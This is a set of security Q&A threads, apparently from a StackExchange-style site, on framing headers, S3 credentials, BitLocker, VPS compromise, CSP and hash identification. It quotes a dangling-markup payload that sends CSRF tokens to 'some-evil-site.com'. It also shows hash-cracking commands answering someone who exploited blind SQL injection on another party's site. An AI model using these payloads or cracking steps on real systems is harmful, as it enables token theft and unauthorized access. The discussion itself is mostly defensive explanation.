Is this a secure method for dynamically setting X-Frame-Options? (multiple domains) X-Frame-Options header will prevent your site from being iFramed by other domains. On browsers that accept the ALLOW-FROM directive you are limited to specifying only a single origin. You could use a CSP 2.0 frame-ancestors directive for modern UA's.

That being said, it's possible to dynamically render a response header based on the request referer and decide what type of X-Frame-Options header to set in the response.

For example, you could by default serve X-Frame-Options: deny and then at the Controller level render a deny or simply not send any X-Frame-Options header to allow that request to be iFramed.

Pseudo code:

referer_host = request.referer
if allowed_origins.includes(referer_host)
  response.headers['X-Frame-Options'] = '' # Remove header from response
else
  response.headers['X-Frame-Options'] = 'deny'
end

Can this security mechanism be defeated? Is it possible for an attacker controlled domain to forge the referer value that the UA will send through some javascript hackery?

As far as I know it is impossible to insert a completely fake Referer header within a normal browsing session. But there are various ways to make sure that no Referer header is sent at all. Thus as long as you only allow to be framed if the Referer header is set and that the domain in the Referer is explicitly allowed to frame your site you should be safe.

But note that you should make sure that your check does not blindly throws some regex at Referer to check for good-site because this way also something like http://bad-site/good-site/ or http://good-site.bad-site/ would be allowed to frame you. You would not be the first to make such mistake.


Should I be concerned about strange, new iPhone app appearing after repair? I had my iPhone battery replaced in a phone repair shop. After collecting it, I noticed that there is a strange new app installed, some "Chinese" web browser. It has no alphanumeric name and nothing in the interface was in English.
I spoke with the technician who replaced the battery and he said that they didn't do anything with the phone, didn't even connect it to a PC.

Should I be concerned? There's plenty of sensitive data on it.
It has never been jailbroken, I never visited any suspicious sites on it and I didn't connect it to any PC other than my trusty laptop.

Unless you can come up with some other explanation of how this happend, it sounds like your phone has been infected by some malware. It's impossible for us to say if the infection was the result of something the factory did or something you did. Either way, you should be very concerned. I'd recommend the following course of action:

Make a backup of any data you have on the phone. (The backup could be infected, see this question, but if you have no earlier backup you either have to take the risk or lose your data.)
Do a complete factory reset, wiping the phone clean.
Change any passwords that has been stored on or entered on the device.

While you are only seeing one app, it might just be a symptom of a deeper infection.  Just removing the strange chinese app may not be enough.


Port bound TLS certificates? (1 Self-signed & 1 CA) For my android game, I want to secure the connection between the server and its clients through TLS certificates on each side, because of the sensitive data that is beeing exchanged through a token based login system and other userdata.
Webbrowsers should also access the same domain but get different data served.

Is it possible, to use two different kind of certificates on the servers domain bound to ports?
Self-signed one for the server (without own CA) and a self-signed one (hardcoded in the gameclient) for gameclient connections to port 9443.
One from a CA like letsencrypt.org for webbrowsers that connect to port 443?

Do I have to run 2 different http-servers for that on the same machine?

Example:
A game client connecting to example.com (or the direct IP address with port 9443) gets authenticated as a valid client and therefore can register, login or update game data.

Browser who's connecting to example.com (port 443) sees a website, can access player profiles that are simple html pages.

My research so far:
I already saw in the openssl example config file here, that using different subdomains as the common name for each certificate may will work? But no mention if something works bound to ports.

I appreciate your help. Thanks.

At the time of writing, the particulars of TLS Token Binding are being actively drafted by the IETF "tokbind" Working Group and was initially proposed in RFC8471, "The Token Binding Protocol Version 1.0."  The abstract of that RFC document states, "The Token Binding protocol allows client/server applications to create long-lived, uniquely identifiable TLS bindings spanning multiple TLS sessions and connections."  While it does not specifically restrict the token to a particular port number, it is clear that a TLS binding spanning multiple sessions/connections can naturally apply to a particular port number.  In other words, the token is bound to the origin (i.e. scheme-host-port triple) of the URI where the HTTPS service is listening.  This is to be expected since SOP, a.k.a. Same-Origin-Policy is one of the most fundamental web application security concepts.

Implementation of this token binding protocol requires support for the TLS extension in the client and server software.  According to RFC8473, "Token Binding over HTTP", Section 4--the setup you're describing is known as a "first-party" or "same-site" scenario.  This is in opposition to a federated scenario where an IdP (Identity Provider) binds the token across multiple TLS services.

Application layer modifications, i.e. HTTP headers such as Include-Referred-Token-Binding-ID and Sec-Token-Binding as defined by RFC8473 are not necessary in this case, although they are required for federation use cases where clients may have requests redirected to identity providers.  A same-site/first-party (or as you referred to it, "port-bound") use case only requires transport layer support for the TLS token_binding extension whose protocol data is detailed in Sections 2 and 3 of RFC8472, "Transport Layer Security (TLS) Extension for Token Binding Protocol Negotiation".  The TLS ClientHello and ServerHello protocol data units communicate support for the extension and its key parameters.

For more information about the protocol itself, see the referenced RFC documents and the TokenBinding GitHub account.  There is also a mod_token_binding repository published by GitHub user zmartzone that has an Apache 2.4 module which implements this feature.  Moreover, Google has published ngx_token_binding on GitHub which is an NGINX module supporting the TLS extension.  According to this [Intent to Implement: Token Binding] document for Chromium, browser-side implementation is split between BoringSSL and Chromium's SSLClientSocket.  The Windows IT Pro Center web site documents token binding for Windows Server 2016 and Windows 10.  Hope this helps!


How to handle AWS credentials Our web application features a lot of media upload. We are making use of AWS S3 buckets for media storage. As per the current implementation, whenever a new file upload API is called, we send the AWS credentials to the front end and front end will use these credentials to initiate the file upload.
But a recent security audit reported that it is a bad approach since the AWS credentials can be captured by anyone from the front end and the buckets are readable/writable.
I understand that I can store the AWS credentials at backend only. Then the server can first receive the file when the user uploads and server can then upload it to S3 using these credentails. But as I mentioned earlier, we use a lot of media upload and this process makes it an additional overhead.
What could be other possible ways to resolve the security threat? Can access restricting S3 buckets to only our domain solve the issue?

There are at least two ways to achive this:

using presigned URLs (see also here)
generating a temporary, signed policy allowing actions on the bucket

In either case you need to make sure to only grant the access you want. Some possible pitfalls:

allowing a user to read a file they do not own
allowing a user to (over)write a file they do not own
allowing a user to perform other actions they shouldn't do (listing directories, acls, etc)
allowing malicious files to be uploaded (eg HTML for XSS)

There is a lot of room for error, so make sure to have the security team look at the final implementation.


Is User Account Login Related to BitLocker Encryption Key When I enabled BitLocker on my system-drive, I wasn't asked to select an unlock-method. I didn't have to enter any new passwords/keys. I only selected a few options for the encryption, and the process completed.

I'm not very familiar with how BitLocker works.

My questions are thus. With what key has my system-drive been encrypted? Is the key in any way related to the password for my Administrator-User-Account? How is it that I did not have to enter any new keys when setting up BitLocker or when booting the system?

By default, BitLocker encryption uses a security device, the TPM chip, for key storage. So windows stores the key inside the TPM and makes sure that the TPM does not "hand out" the key unless the original windows system on which the key was created is booted.

So how does this protect your data? You're protected because there's still the windows logon password. This logon password is between someone hostile and your data. The password cannot be brute-forced at the logon screen in a reasonable time. if you don't believe that, please try to enter 100 guessed passwords and see if you can do it in less than 15 minutes. Now imagine someone would plan to brute force your machine. Even with a programmable keyboard, this would take years even for a password of length 6.


Windows: Any method to enforce user confirmation before the browser opens a URL requested by an external desktop app? A robust outgoing firewall will protect against desktop applications directly connecting to the internet without your permission. However, as the browser is a generally authorized application for internet access, I have begun to see more applications circumvent this by forwarding a URL request to the browser. This is especially suspicious when the GET query includes long cryptic strings...

Does anyone know of any Windows or cross-platform solutions that either ask the user for confirmation before proceeding to the URL or at least check against a whitelist/blacklist beforehand?

For my purposes, any block that only occurs after the browser has attempted to reach the URL is unsuitable; although this is common for somewhat different reasons in a corporate setting.

Clarification: This user confirmation of outgoing URL should only be for URLs requested from outside the browser. i.e. Some OEM bloatware or a blackbox freeware app decides to open a browser window without permission to xyz.com/cgi?mysterious_string on install, uninstall or some other hermetic app decision.

Another solution is to build or modify a existing browser, to not allow any type of external URL typing. You could even have it to use a screen keyboard or such to prevent malicious programs from using SendKeys(); and you could have scrambling screen keyboard and much other security features, And user confirmation if the browser is called externally with a URL as argument. Then you simply only approve this browser in your firewall.


My VPS was used for DDOS Attacks I got an email from my hosting provider telling me that my VPS was used to perform DDOS attacks on this website: cpanel4.vhosting-it.com. Unfortunately I haven't read their email sooner, so they suspended my account.

Here's the log that they receive from the attacked website.

Before reactivating my VPS, I want to know how can I find the shell script used to perform the attack and how the attacker gained access to my VPS? how can I protect my VPS after reactivating it?

I'm using Ubuntu 18.04 + nginx + ISPConfig.

Edit1:

My hosting provider is waiting for my report explaining the issue and the measures I made to prevent similar incidents in the future.

Edit2:
ok, so after regaining access to my vps, I've found this:
1- nginx can't start it give me some error after checking the journalctl I found that ispconfig was down after a php file was uploaded to upload folder
2- after login to my server through ftp I found that hundreds of php files and folders were created!!! in principal it's another php file but renamed and with small modifications in some variables.
3- the index.php file was also modified
4- kaspersky mark those php files as viruses (Trojan.PHP.Agent.uo)

So What I did, is:
1- removed all those php files
2- installed wordfence and made a scan then repaired all repairable files and deleted others.
3- I'll backup my DB and some critical files then reinstall my vps.

I want to know how can I find the shell script used to perform the attack

Check Logs

Here is a list of some logs you could look at:

/var/log/messages # General message and system related stuff
/var/log/auth.log # Authenication logs
/var/log/kern.log # Kernel logs
/var/log/cron.log # Crond logs
/var/log/maillog # Mail server logs
/var/log/boot.log # System boot log
/var/log/mysqld.log # MySQL database server log file
/var/log/qmail # Qmail log directory
/var/log/httpd # Apache access and error logs directory
/var/log/lighttpd # Lighttpd access and error logs directory
/var/log/secure # Authentication log
/var/log/utmp # Login records file
/var/log/wtmp # Login records file
/var/log/yum.log # Yum command log file
/var/log/nginx # Nginx

Check Bash History

cat ~/.bash_history

A big caveat here is that these are well known log locations and depending on the access the attacker gained, they may have cleared them. This is a start though and may give you some insight as to what happened.


SIEM technology is it database friendly? I have a few questions regarding the use of Databases in SIEM technology. I would appreciate if you guys can help me understand / answer these questions. The answers from you help me design the SIEM requirements.

The questions are:-

How does SIEM grows with the use of database? I'm talking in terms of high volume storage comparable to the size of banks or large country census data.
How well does SIEM integrate with database solutions such as InfoSphere Guardium?
What basic functionality should a good SIEM have if it needs to support logs from a large database such as teradata?
What kind of filtration, normalization and aggregation rules can be applied if logs are obtained from database solely ( with no middle-ware solution included)?
Do you have knowledge of SIEM products that provide out of box functionality to entertain database logs?
And lastly, how does a regular SIEM saves database logs?

As the others have said, your question is difficult to answer.  Rich and Adrian over at Securosis have some research to address some of your questions.  I'll stop there before I give you my own biased view on the SIEM landscape.  Best you can do is to get up to speed with the niche, the basic problem these vendors are trying to solve.  Choose a handful to investigate and a couple/few to test.


What is a proper way of destroying data remotely? After watching a Defcon talk about data destruction, I became interested in the subject of how I would go around remotely destroying all my data on all my systems.

I got to a point where I figured out how to arrange everything so a script would be executed by an SMS. The problem is that I don't know what the script should be.

Technical details:

All my servers run something Debian-ish (Mostly Ubuntu).
Not all of my systems are encrypted (This means that removing the encryption key is not something I can rely on).
I do not have physical access to all my servers.
I would like this to be able to stop highly motivated criminals (such as the United States Gov.)
I really don't want to use explosives.
I cannot establish a connection to the machines from anywhere. I am limited by an SMS (For the trigger, not the setup).

Is there something I can do for something like this?

It's simple: Encrypt all your systems

If you have hard disks, you can securely delete them by writing random data to every location. There might be some spare area that is used to replace defective sectors, but not that much and replaced sectors are defective anyways, so this should be secure enough for you. But for your scenario, this doesn't seem to be that adequate. If you have a 4TB disk, you'd need about 3,7 hours to overwrite it, assuming a constant 300MB/s rate. If you get the information the government is searching your home, do you think they'd wait a few hours to let you delete your data?

If you have SSDs, it's even worse. You cannot reliably delete them. SSDs have more storage than advertised to the system. They use this for overprovisioning to replace defective cells, as fast cache and for wear-leveling. There is no reliable way to delete all data. The SSD might look empty or filled with random data after you "cleaned" it, but someone reading the flash chips inside will still get parts of your data.

There are newer SSDs which can be securely deleted. They work by always encrypting all the data on the SSD. If you don't set a key, they just store the encryption key in plain. If you want to clear the data, this key is deleted, everything on the SSD turns into garbage.

So there is no solution but encryption for you. If you have new SSDs and trust the manufacturers, you can just wipe it with a command. Usually it is the secure erase command, but you have to make sure that your SSD really uses hardware encryption before, else it won't delete all data (or for some drives it doesn't actually delete any flash cells, just marks them empty in the controller).

The most secure way is to use your operating system encryption tools.

For your use case, you can configure the servers to automatically unlock the encrypted drives by storing the key in plain. You just need a way to securely delete this key fast. The most secure way would be to use a smartcard, but storing it on a HDD should also work. (NOT a SSD, unless you can securely erase the whole SSD)


Identify client based on computed hash I'm currently developing a web application which will serve data to iPhone clients.
In order to be the owner of the data, I don't want other clients to be able to get it.

I thought I could use a shared secret key between the server and the clients : a hard-coded string that would salt the timestamp to ensure that the request has been done by one of my clients.
So the request would look like this :

http://domain.com/request/[desired_object_id]/[device_id]/[timestamp]/[hash]

I would compute the hash like this in the app :

hash = sha(desired_object_id + device_id + timetsamp + "mysecretkey")

And on the server side, I'd just ensure that the hash was properly generated before sending the data. (all objects identified by "desired_object_id" are available to all the subscribers).
As an alternative, I could also generate a random key rather than a timestamp.

The issue is that it doesn't sound secure to me... The data is not critical, it's just that I don't want to offer a public API used by non-subscribers.
And doing this would also prevent me from changing the secret key, because this would force the users to update to a new client version (not very good for business...)

Is there any other known issue with this ? Is there a better way to do it ? Preferably with the same simplicity.

Multiple problems here:

This setup would force putting the secret key on the client.  Anyone with decent reverse engineering skill could retrieve it, and then they reproduce all requests at will.
There's no point of putting things like 'desired_object_id and such in the hash, if all these pieces are visible in cleartext (the URL).  The only reason to do this is preventing the attacker from finding your secret key.  But the easier prevention method here is to just simply pick a good (high entropy) secret.
Timestamp is the weakest form of a nonce.  If you need to reproduce the timestamp on the server end, then you are forcing all the clients to have well synchronized clocks.  If you're using it merely for a nonce, then you're failing to recognize an important property of nonces:  they have to be random.  Timestamps aren't random, even if the clocks are sloppy, they're going to be within a day (86400 secs per day), out of the possible 32bit (4.2 BILLION seconds), which is utilising a tiny fraction of the possible keyspace, and it's not even randomly spaced, they're clumped all together around a value you pretty much know (current time).


Why is CSP needed to protect against img-src leak? GitHub explains the problem with img-src in
"GitHub's post-CSP journey":

  A tag with an unclosed quote will capture all output up to the next
  matching quote. This could include security sensitive content on the
  pages such as:

  <img src='https://some-evil-site.com/log_csrf?html= <form
  action="https://github.com/account/public_keys/19023812091023"> ...
  <input type="hidden" name="csrf_token" value="some_csrf_token_value">
  </form>

  The resulting image element
  will send a request to
  https://some_evilsite.com/log_csrf?html=...some_csrf_token_value....
  As a result, an attacker can leverage this dangling markup attack to
  exfiltrate CSRF tokens to a site of their choosing.

How does this differ from pressing page-source on the page and sending the content manually? If it is just for pages where users can insert input, don't we have to prevent only those issues with inputs by adding validations to the input? Not prevent img src of other sources in all the code?

Just to be clear about how the attack works:

A site allows you to enter text that is later displayed somewhere. It does not properly filter out HTML.
Mallory enters <img src='https://some-evil-site.com/log_csrf?html=, and sends a link to the page to Alice.
Alice views the page, and the rest of the page with Alice's secret content is sent to some-evil-site.com that Mallory controls.

  How does it differ from pressing page-source on the page and sending the content manually.

You view the source on your computer, generated with your credentials, so it does not contain anything that is secret from you. The point of the attack discussed in the blog post is to "steal" the source from someone else (by injecting HTML) so you can read their secrets.

  If it is just for pages where users can insert input, don't we have to prevent only those issues on inputs by adding validations to the input?

Yes, we need to do that even if we implement a CSP. But humans are fallible creatures and we might make mistakes. Having a CSP that stops this kind of attack might therefore be good as defence in depth.

  Not prevent img src of other sources in all the code?

If you don't want to allow images from arbitrary domains anyway it might be good to whitelist the domains you do want to allow images from and block everything else. Again, you should have other kinds of protections against this, but it never hurts to have a backup.


DSquery leaking personal information Today I found DSquery on one of my smb shares at work. I ran it to query users and since my company uses IC numbers as the unique CN, I got to see all my colleagues' ICs.

Firstly, is this considered a vulnerability?
and secondly how can this be mitigated? From another question on serverfault there seems to be no sure way to harden the AD in this manner to mitigate against such attacks. Attacker will just need any user account and since this is a smb share on the AD SYSVOL, any windows box connected to the domain can be used to exploit this.

Dsquery is just a tool to query the active directory, it by itself isn't malicious or leaking personal info.
What happens is that this tool queries the active directory, which is Microsoft's database to manage windows devices and users in a centralized location. Your IT administrator configured a naming policy, if that naming policy contains private information this is not an issue with the tool or active directory, this is an issue with the security policies in your organization.
The active directory is open for query to any standard user. There are a few different use cases and they are there by design: checking file permissions, getting data about emails in outlook and even presenting the right user name when you log in.
Assuming this is private info I suggest mitigating by changing the convention, you can use multiple other identifier which aren't private like a distinct naming convention or a different ID number which isn't private.


Is stolen client side certificate a valid concern for SSL communication? How to build an automatic revocation system? In the context of server to server communication, we do TLS/SSL with client certificate authentication. So the communication looks like the following:

service_a on Host_A (as the SSL client) --> service_b on Host_B (as the SSL server)

We have our own PKI infrastructure and organizational CA to issue the certs for service_a and service_b.

Suppose Host_A got compromised (therefore it's private key and the cert of service_a got stolen by the attacker). This attacker quietly set up another EC2 VM Host_C and run (maliciously modified) service_a on Host_C (note: the private key of Host_A is available here on Host_C as well)

How can service_b (along with our own PKI and CA infrastructure) protect or automatically respond this scenario? Is there a way to design such a system?

Theres lots of way to detect this scenario.

1: You can detect the double login since Host_A and Host_C would be logged in at the same time, unless the attacker somehow prevents Host_A from accessing Host_B.

2: You can use the IP of the host to detect if the client IP suddenly switches. I suppose you want to have a API client that communicates with a API endpoint on Host_B, and thus, the client IP should be static.

3: You can "fingerprint" the API client, and if the API client is behaving differently (another useragent or is sending different headers), its considered a compromise.

There might be another sign of tampering, where you can detect something that is not normal. Suppose that your original API client does take a fixed time to perform specific operations. You can then time these actions and if the API client does the action quicker or slower, it can be a sign of attack.

Now to action. To faciliate quicker revocation, I would suggest, in addition to revoking via CRL. As your server can know which certificate is stolen, you can instead configure your API service to not accept logins with that SSL certificate, effectively a "soft revoke". This means that the certificate is blocked immediately, instead of having to wait for the SSL server to reread and parse a CRL into the SSL system.


What is difference & link between threat modelling and vulnerability assessment? My understanding is that, threat modelling is used at the design stage to identify the possible threats, prioritize them and help in identifying security requirements/security controls. Vulnerability assessment is done during development and in maintenance also, where we scan the source code for vulnerabilities, prioritize and fix them. This link neatly explains my understanding.
But many other articles have put up the following ideas also.

This link states CVSS as an threat modelling approach whereas CVSS is used in vulnerability assessment workflow to rate the vulnerability.
Threat modelling can help in prioritizing vulnerabilities, focus on vulnerabilities which are most likely to affect your environment.

What is the link between vulnerability assessment and threat modelling?
I am doing vulnerability assessment for OTS (off the shelf) software used in my system. I use CVSS 3.1 to score the vulnerability and prioritize fixing based on the score. In what way a threat model (like STRIDE or ATTACK TREE) can help in my vulnerability assessment.

Answer based on personal experience.
Vulnerability Assessment := Do we have a software bug with a security implication? ie is there a bug in the source code that needs a patch?
Threat Model := What is the environment in which this bug exists? ie is the vulnerable code actually reachable in our application? Is it only reachable by trusted admins?
So you might come out with a conclusion like "According to the vulnerability assessment this is a bug and needs a patch, however according to the threat model it is not actually exploitable in our current deployment so the risk is low".
In my experience, CVEs sometimes do threat modelling, for example when the CVE is against a complete product and the deployment architecture and configuration is known (think github.com, or Windows). But often CVEs are filed against low-level libraries and frameworks (think openssl or struts) where the CVE can only say something like "If you use X functionality, then you may be vulnerable to ..." because the context for threat modelling depends on how different applications use this functionality.


SQL Server connections with TLS vs. through an encrypted tunnel? I'm developing an application that will connect to Microsoft SQL Server in a local network:

I'm considering whether these connections need to use TLS
Or whether to leave it to the customer's administrators to use an encrypted tunnel, if they see fit. they may have other third party applications, also connecting to SQL Server.

But i'm not familiar with the solutions available to administrators to use an encrypted tunnel, besides VPN (and maybe a load balancer?).
Questions

What would you do?
What are the disadvantages to not using TLS in this context?
Are there any solutions available for sending connections through an encrypted tunnel? (examples of products please)

I would prefer the simpler case, where i'm not responsible for the encryption
Edit:
I expect that SQL Server will be running in a local network

You don't need to do anything specific in this regard. If you need secure channel to SQL server, just insert encrypt=true in SQL connection string. This will request secure channel. The behavior of connection is controlled using TrustServerCertificate connection parameter. If it is set to True, client will fallback to insecure transport (if SQL server does not implement TLS) and will accept arbitrary certificate (potentially, untrusted, or MITM) when presented by server.
By default and when not configured, SQL server automatically generate a self-signed certificate to clients that require secure transport. If TrustServerCertificate is set to False, then client will fail if either, SQL does not implement TLS or server certificate is not valid according to validation rules. ADO.NET clients use Windows built-in certificate chaining engine to validate server certificate.
That's all what you shall to do regarding transport security for SQL client. If you expose connection string altering to systems administrators or application users, leave it up to management personnel.


I don't know how to identify the method behind the hash I found online an web app that is vulnerable to blind sql injection, I manage to get in users table and I looked at my password, in the table was the hased version, this one->57b0fcbe39b9336d, now I know that my password is dinamo, knowing the hashed version and the original password how I can use this informations to find out the hashed method?

You can narrow down what hash type it is using hashID:

$ hashid 218844.hash
--File '218844.hash'--
Analyzing '57b0fcbe39b9336d'
[+] MySQL323
[+] DES(Oracle)
[+] Half MD5
[+] Oracle 7-10g
[+] FNV-164
[+] CRC-64
[+] Cisco-PIX(MD5)
[+] Cisco-ASA(MD5)
--End of file '218844.hash'--

But the only way to truly verify a hash format is to actually crack a hash.

You could try each of the above one at a time using hashcat or John the Ripper, but trying one at a time can be time-consuming. Instead, you can try many different types of hashes using a general tool like MDXfind.

We can quickly discover that this hash is a single iteration of the native MYSQL 3.23 (pre-MySQL 4.1) format, without specifying the hash type in advance:

$ cat 218844.hash
57b0fcbe39b9336d

$ cat 218844.list
dinamo

$ mdxfind -h ALL -h '!salt,!user,!md5x' -i 5 -f 218844.hash 218844.list
Iterations set to 5
Working on hash types: MD5 MD5UC MD4 MD2 WRL HAV128 SHA0 SHA1 SHA224 SHA256 SHA384 SHA512 GOST GOST-CRYPTO HAV256 RMD128 RMD160 TIGER TTH HAS160 EDON256 EDON512 SNE128 SNE256 MD6 MD6256 MD6512 MDC2 MD5RAW SHA224RAW SHA256RAW SHA384RAW SHA512RAW HAV128_4 HAV128_5 HAV160_3 HAV160_4 HAV160_5 HAV192_3 HAV192_4 HAV192_5 HAV224_3 HAV224_4 HAV224_5 HAV256_4 HAV256_5 BLAKE224 BLAKE256 BLAKE384 BLAKE512 BMW224 BMW256 BMW384 BMW512 CUBE224 CUBE256 CUBE384 CUBE512 ECHO224 ECHO256 ECHO384 ECHO512 FUGUE224 FUGUE256 FUGUE384 FUGUE512 GROESTL224 GROESTL256 GROESTL384 GROESTL512 HAMSI224 HAMSI256 HAMSI384 HAMSI512 JH224 JH256 JH384 JH512 SHA3-224 SHA3-256 SHA3-384 SHA3-512 LUFFA224 LUFFA256 LUFFA384 LUFFA512 PANAMA RADIOGATUN32 RADIOGATUN64 SHABAL224 SHABAL256 SHABAL384 SHABAL512 SHAVITE224 SHAVITE256 SHAVITE384 SHAVITE512 SIMD224 SIMD256 SIMD384 SIMD512 SKEIN224 SKEIN256 SKEIN384 SKEIN512 TIGER2 WRL0 WRL1 RIPEMD MD2MD5 MD2MD5PASS MD4MD5 MD4MD5PASS MD5MD5PASS GOSTMD5 GOSTMD5PASS HAV128MD5 HAV128MD5PASS HAV128_4MD5 HAV128_4MD5PASS HAV128_5MD5 HAV128_5MD5PASS HAV160_3MD5 HAV160_3MD5PASS HAV160_4MD5 HAV160_4MD5PASS HAV160_5MD5 HAV160_5MD5PASS HAV192_3MD5 HAV192_3MD5PASS HAV192_4MD5 HAV192_4MD5PASS HAV192_5MD5 HAV192_5MD5PASS HAV224_3MD5 HAV224_3MD5PASS HAV224_4MD5 HAV224_4MD5PASS HAV224_5MD5 HAV224_5MD5PASS HAV256MD5 HAV256MD5PASS HAV256_4MD5 HAV256_4MD5PASS HAV256_5MD5 HAV256_5MD5PASS RMD128MD5 RMD128MD5PASS RMD160MD5 RMD160MD5PASS SHA1MD5 SHA1MD5PASS SHA224MD5 SHA224MD5PASS SHA256MD5 SHA256MD5PASS SHA384MD5 SHA384MD5PASS SHA512MD5 SHA512MD5PASS TIGERMD5 TIGERMD5PASS WRLMD5 WRLMD5PASS SNE128MD5 SNE128MD5PASS SNE256MD5 SNE256MD5PASS MD5SHA1 MD5SHA256 MD5SHA512 SHA1PASSSHA1 SHA1UC MD5SHA1MD5 MD5SHA1MD5SHA1 MD5SHA1MD5SHA1SHA1 SHA1MD5SHA1 SHA1MD5SHA1MD5 MD5HAV160_3 MD5SHA1HAV160_4 MD5SHA1MD5SHA1MD5 MD5RMD160 MD5SHA1SHA256 SHA256SHA512 MD5WRL MD5SHA1SHA1RAW MD5PASSMD5 MD5-DBL-PASS SHA1MD5UC SHA1MD5SHA1MD5SHA1MD5 MD5SQL5 SHA1SQL5 MD5MD5UCMD5 RMD128MD5MD5 MD5BASE64 MD5BASE64MD5 MD5SHA1BASE64 MD5SHA1MD5BASE64 SHA1BASE64 MD5BASE64MD5RAW MD5BASE64SHA1RAW SHA1BASE64MD5RAW SHA1BASE64SHA1RAW MD5BASE64SHA1RAWMD5 MD5BASE64MD5RAWSHA1 MD5BASE64MD5RAWMD5 MD5BASE64MD5RAWMD5MD5 MD5BASE64SHA1RAWBASE64SHA1RAW MD5SHA1UC MD5SHA1UCMD5 MD5SHA1UCMD5UC SHA1SHA1u32 MD5SHA1u32 SHA256SHA1 MD5BASE64revMD5 MD5revMD5 MD5revMD5MD5 MD5BASE64MD5MD5 MD5SQL5-40 SHA1SQL5-40 MD5revSHA1 SQL5 MD5MD5UC RADMIN2 MD5RADMIN2 MD5RADMIN2SHA1 RADMIN2MD5 RADMIN2MD5MD5 RADMIN2MD5UC RADMIN2MD5SHA1 RADMIN2SHA1 RADMIN2SQL5-40 RADMIN2BASE64 RADMIN2SHA1MD5 RADMIN2SQL3 RADMIN2MD5MD5MD5 MD5RADMIN2MD5 SHA1RADMIN2 SHA1RADMIN2MD5 SHA1RADMIN2BASE64 SHA1MD5MD5 SHA1SHA1RAWMD5 SHA1MD5MD5MD5 SHA1MD5MD5SHA1MD5 SHA1MD5MD5SHA1 SHA1MD5MD5MD5SHA1 SHA1MD5MD5MD5MD5 SHA1MD5MD5MD5MD5MD5 SHA1SHA1RAWMD5MD5 SHA1SHA1RAWMD5MD5MD5 MD5SHA1SHA1MD5 MD5SHA1SHA1 MD5SQL5MD5 MD5SQL5-chop40 MD5-2xMD5 MD5-2xMD5-MD5 MD5-2xMD5-SHA1 MD5-2xMD5-MD5MD5 MD5-2xMD5-MD5MD5MD5 SHA1MD5RADMIN2 MD5-3xMD5 MD5-3xMD5-MD5 MD5-3xMD5-SHA1 MD5-3xMD5-MD5MD5 MD5-3xMD5-MD5MD5MD5 SHA1-2xSHA1 SHA1-2xSHA1-MD5 SHA1-2xSHA1-SHA1 SHA1-2xSHA1-MD5MD5 SHA1-2xSHA1-MD5MD5MD5 MD5-1xMD5SHA1 MD5-1xSHA1MD5 SHA1-1xSHA1MD5 SHA1-1xMD5SHA1 MD5-1xMD5SHA1-MD5 MD5-1xSHA1MD5-MD5 MD5-1xMD5SHA1-MD5MD5 MD5-1xSHA1MD5-MD5MD5 MD5-1xSHA1MD5pSHA1p SHA1-1xSHA1MD5pSHA1p MD5SHA1-1xSHA1MD5pSHA1p SHA1-1xSHA1psubp SHA1revp MD5revp MD5TIGER2 MD5SHA1MD5MD5 MD5SHA1MD5RADMIN2 MD5SHA1MD5MD5MD5SHA1 MD5SHA1RAW MD5SHA1MD5MD5MD5 MD5SQL5-32 MD5BASE64ROT13 MD5TIGER MD5SHA1MD5PASS MD5CAPSHA1 MD5SHA1BASE64MD5RAW MD5SHA1MD5MD5SHA1 MD5SHA1MD5UC MD5MD5HUM SHA1MD5HUM SHA1SHA1HUM MD5SHA1HUM MD5NTLM NTLM MD5MD4 MD5NTLMUC MD5SHA1RADMIN2MD5 MD5UCBASE64MD5RAW MD5UCBASE64SHA1RAW MD5SHA1MD5MD5UC MD5SHA1MD5HUM LM MD5LM MD5LMUC MD5RAWUC MD5SHA1UCu32 MD5MD5UCSHA1MD5MD5 MD5SHA256MD5 SHA1lsb32 MD5-2xMD5UC MD5-4xMD5 MD5-SHA1numSHA1 MD5-2xSHA1 SHA1-2xMD5 MD5padMD5 SHA1lsb35 MD4SQL3 SMF MD5-MD5SHA1MD5SHA1MD5SHA1p MD5MD5UCSQL3p MD5MD5UCp MD5NTLMp MD5-LMNTLM MD5-MD5psSHA1MD5psp MD5-MD5puSHA1MD5pup MD5WRLMD5 PARALLEL STREEBOG-32 STREEBOG-64 MD5SWAP MSCACHE MD5SHA1PASSMD5PASSSHA1PASS SHA512_CUSTOM1 MD5SQL3 MD5sub8-24MD5 MD5sub8-24MD5sub8-24MD5 MYSQL3 MD5revMD5SHA1 MD5SHA1BASE64SHA1MD5 SHA1-8TRACK SHA1WRL SHA1revMD5 SHA1SHA256 SHA1SHA384 SHA1SHA512 SHA1SQL3 SHA1UCWRL SHA1WRLMD5 SHA1MD5SHA1MD5SHA1MD5SHA1 WRLSHA512 MD5GOST MD5GOSTMD5 MD5GOSTMD5UC MD5WRLRAW SHA256UC MD4SHA1MD5 MD5RAWMD5RAW MD5SHA1BASE64SHA1RAW MD5revMD5SHA1SHA1 MD5MD2 MD5MD2RAW MD5BASE64SHA256RAW MD4UTF16 MD4UTF16MD5 RMD128MD4 MD5SHA0 MD5PASSSHA1MD5 MD5PASSMD5MD5PASS MD5PASSMD5MD5MD5 MD5-MD5PASSMD5 MD5PASSSHA1 MD5MD5PASSSHA1 SHA1MD5MD5SHA1MD5SHA1SHA1MD5 MD5SHA1MD5SHA1MD5SHA1MD5SHA1MD5SHA1MD5SHA1 MD5dcab MD5bcad MD5BASE64BASE64 MD5BASE64BASE64BASE64 PROGRESSENCODE
Took 0.00 seconds to read hashes
Searching through 1 unique hashes from 218844.hash
Maximum hash chain depth is 1
Minimum hash length is 16 characters
Using 4 cores

MYSQL3x01 57b0fcbe39b9336d:dinamo

Done - 4 threads caught
1 lines processed in 0 seconds
1.00 lines per second
0.00 seconds hashing, 2,332 total hash calculations
0.88M hashes per second (approx)
1 total files
1 MYSQL3x01 hashes found
1 Total hashes found

The x01 in MYSQL3x01 means that only a single iteration of that algorithm was used.

Note that this is a very "fast" (good for the attacker) hash, and can be cracked at extremely high speeds on modern GPUs - billions of guesses per second.


Using "Dynamic Hash Technique" to protect cookies from XSS? This paper appears to describe a solution in which XSS attacks stealing cookies are made pointless by having the server send clients a cookie with a hashed name. Whenever the user sends the cookie back to the server, the server will take the hash and regenerate the original name of the cookie. Thus, supposedly, even if attackers stole the user's cookie "they wouldn't be able to use it".

I don't understand how this would actually render the cookie useless to the attacker. As long as the real user hasn't logged in/out of the website and caused the server to generate a new hash for the cookie name, couldn't the attacker simply send this hashed cookie name to the server and still retrieve the same information? The server would simply take the hash, regenerate the original cookie name as usual, and return another cookie/proper info.

I'm new to the area of information security, so it might be because of my novice knowledge in the field that this isn't making sense to me. But the paper also does not seem to convey the idea very clearly.

